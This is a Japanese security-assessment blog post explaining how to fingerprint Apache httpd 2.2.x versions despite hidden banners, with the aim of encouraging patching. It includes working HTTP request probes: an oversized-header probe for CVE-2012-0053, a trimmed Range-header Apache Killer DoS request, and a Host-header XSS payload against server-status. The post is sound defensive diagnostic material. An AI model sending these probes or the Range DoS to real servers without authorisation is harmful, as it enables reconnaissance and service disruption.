本サイトは、快適にご利用いただくためにクッキー(Cookie)を使用しております。
Cookieの使用に同意いただける場合は「同意する」ボタンを押してください。
なお本サイトのCookie使用については、「個人情報保護方針」をご覧ください。

最新情報

2017.09.04

Apache HTTP Serverのバージョンを当てる方法

セキュリティ診断(Webアプリケーション診断やネットワーク診断)の結果、バナーに表示されたバージョンを隠しましょう、TRACEメソッドを無効にしましょうなどの報告をすることがあります。これらの設定は、サーバを構築する上での”お作法”ではあると考えていますが、この”お作法”を行ったから大丈夫というわけではありません。

今回はこのような設定を行っても、バージョンは特定できるものなので、やはり、パッチはしっかりと当てましょうというお話になります。


さて、Apache httpd 2.2.XはEOLが2017年12月と発表されており、2.2.34が最終バージョンになる可能性が高く、このタイミングで、リプレースやバージョンアップを考えている方もいらっしゃると思います。既に運用中のシステムで何か変えることは色々と難しいと思いますが、リプレースのタイミングでは、パッチ運用に関する設計を再考しやすくなると思われますので、システムをセキュアに保っていけるよう検討の糧になれば幸いです。



■稼働しているApache httpdのバージョンを特定する(Apache httpd 2.2.X編)


筆者の知る限りではありますが、各社のツールなどを見ていても、Apache httpdのバージョンを特定(推測)する代表的なシグネチャは、CVE-2012-0053(HttpOnly Cookieに関する脆弱性)ではないでしょうか。このシグネチャはとても優秀で、”非破壊”で脆弱性の有無を特定し、”お手軽”にバージョンまで特定(推測)できます。これはセキュリティ診断を行う上でとても大切で、試せば脆弱性の影響を確認できるかもしれないが、サービスが止まってしまったり、環境に何か変更を与えてしまったりする可能性があるため実施できないものが多いからです。


この脆弱性についてまとめてあるサイトはたくさんありますが、以下に簡単にまとめておきます。再現方法は簡単で、①400エラーを引き起こすこと、②その際にPoCが動作することの2つです。Apache httpdの場合、①の400エラーについては「:」を含まないヘッダを送りつけることで発生。②については、この脆弱性の性質を使って80桁以上の文字列を送りつけたときの挙動の違いを確認します。

(HttpOnly属性が付与されたCookieを窃取するパターンではなく、脆弱性有無を確認するパターン)



PoC

GET / HTTP/1.1
Host: www.example.com
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxyyyyyyy



脆弱性の影響を受けるバージョンのレスポンス

HTTP/1.1 400 Bad Request
Date: Wed, 16 Aug 2017 05:35:22 GMT
Server: Apache/2.2.20 (Unix)
Content-Length: 379
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Request header field is missing ':' separator.<br />
<pre>
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxyyyyyyy</pre>
</p>
</body></html>


脆弱性の影響を受けないバージョンのレスポンス

HTTP/1.1 400 Bad Request
Date: Wed, 16 Aug 2017 05:35:48 GMT
Server: Apache/2.2.22 (Unix)
Content-Length: 372
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Request header field is missing ':' separator.<br />
<pre>
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</pre>
</p>
</body></html>


セキュリティ診断ではこの挙動から、CVE-2012-0053に対する対策が行われていないと判断し、「CVE-2012-0053の影響を受ける」という報告と「Apache httpdのバージョンが2.2.22未満(2.2.0~2.2.21)=少なくとも2.2.22以降で修正された脆弱性には未対応」であると報告します(厳密にはApache httpd 2.0.Xや1.3.Xでも影響を受けるバージョンがあるため、メジャーバージョンを特定した上で)。このように、バージョン情報が記載されていない場合においても、使用しているバージョンを特定(推測)することが可能となります。

ただし、注意するのは、そもそもHttpOnlyをつける必要がないサイトであるため、CVE-2012-0053対策用のパッチだけ対応を見送っているケースがあることです。ブラックボックステストであるため、診断者としては、安全側に倒し、影響が発生する可能性があるものについては、一律報告するのが習わしかと思います。

また、このパターンでは400エラー(Default)を引き起こすことが条件になりますので、400エラーのページをカスタマイズされている場合には再現せず、バージョンを特定(推測)しきれない場合もあります。



この他、有名なケースとしてはApache Killer(CVE-2011-3192)でしょうか。Rangeヘッダの値を操作することにより、サービス拒否(DoS)を引き起こせる問題です。



PoC

GET / HTTP/1.1
Host: www.example.com
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30



脆弱性の影響を受けるバージョンのレスポンス

HTTP/1.1 206 Partial Content
Date: Wed, 16 Aug 2017 05:37:53 GMT
Server: Apache/2.2.19 (Unix)
Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT
ETag: "a1bb9-2c-3e9564c23b600"
Accept-Ranges: bytes
Content-Length: 2603
Connection: close
Content-Type: multipart/byteranges; boundary=55622c4e38be918575


--55622c4e38be918575
Content-type: text/html
Content-range: bytes 0-43/44

<html><body><h1>It works!</h1></body></html>
--55622c4e38be918575
Content-type: text/html
Content-range: bytes 5-5/44

>
--55622c4e38be918575
Content-type: text/html
Content-range: bytes 5-6/44

><
--55622c4e38be918575
Content-type: text/html
Content-range: bytes 5-7/44


脆弱性の影響を受けないバージョンのレスポンス

HTTP/1.1 200 OK
Date: Wed, 16 Aug 2017 05:36:49 GMT
Server: Apache/2.2.20 (Unix)
Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT
ETag: "84ffa-2c-3e9564c23b600"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html

<html><body><h1>It works!</h1></body></html>


診断で実施する場合には、上記のようにDoSにならない程度に分割したPoCを試し、基本的にレスポンスが206でコンテンツが分割されていれば影響を受ける可能性が高いものです(筆者は200応答の場合も見たことがあります)。CVE-2012-0053と同じく、セキュリティ診断ではこの挙動から、CVE-2011-3192に対する対策が行われていないと判断し、「CVE-2011-3192の影響を受ける」という報告と「Apache httpdのバージョンが2.2.20未満(2.2.0~2.2.19)=少なくとも2.2.20以降で修正された脆弱性には未対応」であると報告します。ただし、暫定対策として公開された設定などにより、本当に影響を受けるのかどうかまで判断するのは難しかったことを記憶しています。


Apache httpd 2.2.24では、CVE-2012-3499やCVE-2012-4558と言った、2012年に公表されたXSSが(今更ながら)修正されています。試すにはお手軽ではあるものの、mod_info, mod_statusが有効化して公開されている必要があり、実用性は少なめです。



PoC

GET /server-status HTTP/1.1
Host: www.example.com<img src=_ onerror=alert(0)>



脆弱性の影響を受けるバージョンのレスポンス

HTTP/1.1 200 OK
Date: Wed, 16 Aug 2017 05:43:57 GMT
Server: Apache/2.2.23 (Unix)
Content-Length: 1641
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<title>Apache Status</title>
</head><body>
<h1>Apache Server Status for www.example.com<img src=_ onerror=alert(0)></h1>


脆弱性の影響を受けないバージョンのレスポンス

HTTP/1.1 200 OK
Date: Wed, 16 Aug 2017 05:50:48 GMT
Server: Apache/2.2.24 (Unix)
Content-Length: 1649
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<title>Apache Status</title>
</head><body>
<h1>Apache Server Status for www.example.com&lt;img src=_ onerror=alert(0)&gt;</h1>


ここまで紹介してきたような、脆弱性を使用して、”非破壊”で脆弱性の有無を特定し、”お手軽”にバージョンまで特定(推測)できるのであれば、積極的に活用するところですが、なかなか条件を満たす万能な脆弱性はなかなか無いものです。


前置きが長くなりましたが、ここからは脆弱性を活用しない場合でも、バージョンを特定(推測)できるようなケースをいくつか紹介してみます。出来る限り環境にできるだけ左右されないこと(特定のモジュールが使われていないと再現しないなど)を意識していますが、どうしても条件が必要なケースも出てくるため、いくつかのパターンを組み合わせて特定(推測)して行くことが必要です。


では、まずは、Apache httpd 2.2.31です。

このバージョンではCVE-2015-3183の修正は行われていますが、お手軽さが少し足りない印象です。他の脆弱性を確認しようにも、脆弱性の対応はこの1件です。そこで、筆者が注目した変化の1つはAccept-Languageです。実はこのバージョンからLanguageにnbが追加されています。


とは言うものの、使ってもいないであろうnbを指定したところで、コンテンツには変化が無く、Accept-Languageを受け付けるコンテンツが必要になります。そういったコンテンツの1つが/error/以下に用意されているのでこちらにアクセスして確認することができます。


ただし、ソースインストールの場合には、デフォルト設定で/error/へのAliasが設定されていないため、条件付きの確認方法となります。



PoC(パターン1)

GET /error/HTTP_BAD_GATEWAY.html.var HTTP/1.1
Host: www.example.com
Accept-Language: nb



取得できるレスポンス

HTTP/1.1 200 OK
Date: Tue, 08 Aug 2017 04:14:58 GMT
Server: Apache/2.2.31 (Unix)
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=utf-8
Content-Language: nb
Expires: Tue, 08 Aug 2017 04:14:58 GMT

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="nb" xml:lang="nb">
<head>
<title>Ugyldig Gateway!</title>


PoC(パターン2)

GET /error/README HTTP/1.1
Host: www.example.com



取得できるレスポンス

HTTP/1.1 200 OK
Date: Wed, 16 Aug 2017 05:54:49 GMT
Server: Apache/2.2.31 (Unix)
Last-Modified: Wed, 15 Apr 2015 15:27:02 GMT
ETag: "81f4e-803-513c4fa92dd80"
Accept-Ranges: bytes
Content-Length: 2051
Content-Type: text/plain


 Multi Language Custom Error Documents
 -------------------------------------

 The 'error' directory contains HTTP error messages in multiple languages.
 If the preferred language of a client is available it is selected
 automatically via the MultiViews feature. This feature is enabled
 by default via the Options, Language and ErrorDocument directives.

 You may configure the design and markup of the documents by modifying
 the HTML files in the directory 'error/include'.

 Supported Languages:
  +-----------------------+------------------------------------------+
  | Language              | Contributed by                           |
  +-----------------------+------------------------------------------+
  | Brazilian (pt-br)     | Ricardo Leite                            |
  | Czech (cs)            | Marcel Kolaja                            |
  | Dutch (nl)            | Peter Van Biesen                         |
  | English (en)          | Lars Eilebrecht                          |
  | French (fr)           | Cecile de Crecy                          |
  | German (de)           | Lars Eilebrecht                          |
  | Italian (it)          | Luigi Rosa                               |
  | Korean (ko)           | Jaeho Shin                               |
  | Norwegian Bokmål (nb) | Tom Fredrik Klaussen                     |
  | Polish (pl)           | Tomasz Kepczynski                        |


次はApache httpd 2.2.32です。

このバージョンでは、CVE-2016-8743やCVE-2016-5387(HTTPoxy)の修正が行われていますが、こちらも、簡単かつ安全に確認するには少し大変そうです。ということで、環境に左右されにくいお手軽な確認方法を2つ紹介します。



PoC

GET / HTTP/0.9



取得できるレスポンス(Apache httpd 2.2.31以前)

HTTP/1.1 200 OK
Date: Wed, 16 Aug 2017 05:55:25 GMT
Server: Apache/2.2.31 (Unix)
Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT
ETag: "81f3b-2c-3e9564c23b600"
Accept-Ranges: bytes
Content-Length: 44
Connection: close
Content-Type: text/html

<html><body><h1>It works!</h1></body></html>


取得できるレスポンス(Apache httpd 2.2.32以降)

HTTP/1.1 400 Bad Request
Date: Wed, 16 Aug 2017 05:55:46 GMT
Server: Apache/2.2.32 (Unix)
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>


この挙動の違いは、HTTPoxyの脆弱性に対応したことによるもので、このバージョンから、HTTPバージョン0.9を受け付けなくなりました。


この他、冒頭で紹介したCVE-2012-0053に対する挙動にも変化が見られます。



PoC

GET / HTTP/1.1
Host: www.example.com
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxyyyyyyy



取得できるレスポンス(Apache httpd 2.2.32以降)

HTTP/1.1 400 Bad Request
Date: Wed, 16 Aug 2017 05:56:06 GMT
Server: Apache/2.2.32 (Unix)
Content-Length: 226
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>


「xxxx…yyy」がエコーバックがされなくなる変化が生じているため、この挙動からもバージョンを特定(推測)することができると思います。なお、これらの挙動はRPM版でも同様に確認することができます。



さて最後はApache httpd 2.2.34(Apache httpd 2.2.33はリリースされていない)です。

こちらのバージョンでも、CVE-2017-9788、CVE-2017-3167、CVE-2017-3169、CVE-2017-7668、CVE-2017-7679の脆弱性の修正が行われていますが、Buffer Overreadの修正などなので、試すには少し物騒です。このバージョンでの変化といえば、デフォルトの設定で3DESが無効化されるようになりました。サーバ上でHTTPSが有効化されていないと判断がつかない上に、あえて3DESを有効化するようなケースも無いとは言えないため、特定するには至りませんが、判断の材料にはなりそうです。



2.2.32以前のhttpd-ssl.conf

SSLCipherSuite HIGH:MEDIUM:!MD5:!RC4
SSLProxyCipherSuite HIGH:MEDIUM:!MD5:!RC4


2.2.34のhttpd-ssl.conf

SSLCipherSuite HIGH:MEDIUM:!MD5:!RC4:!3DES
SSLProxyCipherSuite HIGH:MEDIUM:!MD5:!RC4:!3DES


この他には、/manual/のコンテンツが地味に更新されている違いもあります。ただし、ソースインストールの場合には、デフォルト設定で/manual/へのAliasが設定されていないため、条件付きの確認方法となります。



PoC

GET /manual/install.html.fr HTTP/1.1
Host: www.example.com



取得できるレスポンス(Apache httpd 2.2.32以前)

HTTP/1.1 200 OK
Date: Wed, 16 Aug 2017 05:58:29 GMT
Server: Apache/2.2.32 (Unix)
Last-Modified: Mon, 02 Jan 2017 19:36:48 GMT
ETag: "82935-6b42-54521ac269400"
Accept-Ranges: bytes
Content-Length: 27458
Content-Type: text/html

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

…(中略)…

<a href="./tr/install.html" hreflang="tr" rel="alternate" title="Türkçe">&nbsp;tr&nbsp;</a></p>
</div>
<div class="outofdate">Cette traduction peut être périmée. Vérifiez la version
            anglaise pour les changements récents.</div>


    <p>Ce document couvre l'installation et la compilation du serveur
    HTTP Apache


取得できるレスポンス(Apache httpd 2.2.34)

HTTP/1.1 200 OK
Date: Wed, 16 Aug 2017 05:57:15 GMT
Server: Apache/2.2.34 (Unix)
Last-Modified: Sat, 14 Jan 2017 17:47:24 GMT
ETag: "83d70-6abf-546118b006300"
Accept-Ranges: bytes
Content-Length: 27327
Content-Type: text/html

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

…(中略)…

<a href="./tr/install.html" hreflang="tr" rel="alternate" title="Türkçe">&nbsp;tr&nbsp;</a></p>
</div>


    <p>Ce document couvre l'installation et la compilation du serveur
    HTTP Apache


今回紹介した手法はソース版(コンパイルオプションなし)です。RPM版で再現するものもあれば、再現しないものもありますが、どんなに一生懸命バージョンを隠してみたところで、わかってしまうものです(なのでパッチは定期的に当てましょう)。


セキュリティ診断では、システムをよりセキュアにすることが目的で、false negativeやfalse positiveの報告が出てくるのは致し方がない部分ではありますが、今回紹介したような挙動を利用することで、利用しているApache httpdのバージョンを特定(推測)する確率をあげることやfalse negativeやfalse positiveの可能性を排除することができます。また、利用者もバージョンを隠してパッチを行わないなど、根本的な対策を行わないケースも稀に見受けられますので、診断者も的確に指摘し、利用者がしっかりとパッチを当てる運用を根付かせ、システムがセキュアに運用されていくことを願います。


ネットワーク診断はツールなので、どこでやっても、誰がやってもそれほど違いは出てこないなどと耳にすることもありますが、実は奥が深い分野で違いは出てくるものだと筆者は信じています。

また、こういった情報は各社のノウハウ的な部分なのかもしれませんが、調査すれば自明なもので、今後も積極的に情報を発信/交換し、業界全体の診断品質が向上、ひいては利用者のシステムがセキュアに運用されていくことに役立てればと思います。




米山 俊嗣 の他のブログ記事を読む